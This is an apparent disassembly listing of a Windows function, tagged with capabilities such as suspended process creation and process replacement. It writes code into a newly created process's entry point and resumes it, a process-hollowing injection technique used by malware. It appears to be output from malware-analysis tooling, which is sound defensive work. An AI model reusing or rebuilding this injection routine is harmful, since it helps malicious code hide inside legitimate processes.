Function at 0x140058ae0
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x3f8
mov rax, qword [0x140128218]
xor rax, rsp
mov qword [rsp + 0x3e0], rax
mov dword [rsp + 0x50], 0
lea rdx, [rsp + 0x108]
mov rcx, qword [rsp + 0x408]
call fcn.140058130
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0xe8]
call fcn.1400576e0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0xc8]
call fcn.140077120
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
lea r8, str..exe
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x140]
call fcn.140076fb0
nop
lea rcx, [rsp + 0xc8]
call fcn.14006ab00
nop
lea rcx, [rsp + 0xe8]
call fcn.14006ab00
nop
lea rcx, [rsp + 0x108]
call fcn.14006ab00
lea rcx, [rsp + 0x140]
call fcn.1400596c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140058c58
mov byte [rsp + 0x54], 0
lea r8, str.failed_to_get_load_module
lea rdx, [rsp + 0x54]
mov rcx, qword [rsp + 0x400]
call fcn.1400783c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x140]
call fcn.14006ab00
mov rax, qword [rsp + 0x400]
jmp 0x140058f02
lea rdx, str.MainCRTStartup
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x170]
call fcn.1400b2490
mov dword [rsp + 0x170], WSAGetLastError
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x128]
call fcn.1400b2490
mov r8d, 0x200
xor edx, edx
lea rcx, [rsp + 0x1e0]
call fcn.1400b2490
lea rcx, [rsp + 0x140]
call fcn.1400596c0
lea rcx, [rsp + 0x128]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140058d7d
mov byte [rsp + 0x55], 0
lea r8, str.create_process_failed
lea rdx, [rsp + 0x55]
mov rcx, qword [rsp + 0x400]
call fcn.1400783c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x140]
call fcn.14006ab00
mov rax, qword [rsp + 0x400]
jmp 0x140058f02
mov r8d, dword [rsp + 0x138]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140058de2
mov byte [rsp + 0x56], 0
lea r8, str.open_process_failed
lea rdx, [rsp + 0x56]
mov rcx, qword [rsp + 0x400]
call fcn.1400783c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x140]
call fcn.14006ab00
mov rax, qword [rsp + 0x400]
jmp 0x140058f02
call fcn.1400585b0
mov rcx, rax
call fcn.140058580
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x408]
call fcn.1400580d0
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x160]
call fcn.140021510
mov qword [rsp + 0x20], 0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140058e8f
mov byte [rsp + 0x57], 0
lea r8, str.wpm_failed
lea rdx, [rsp + 0x57]
mov rcx, qword [rsp + 0x400]
call fcn.1400783c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x140]
call fcn.14006ab00
mov rax, qword [rsp + 0x400]
jmp 0x140058f02
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x58], 1
lea r8, str.success
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x400]
call fcn.1400783c0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x140]
call fcn.14006ab00
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x3e0]
xor rcx, rsp
call fcn.1400afe40
add rsp, 0x3f8
ret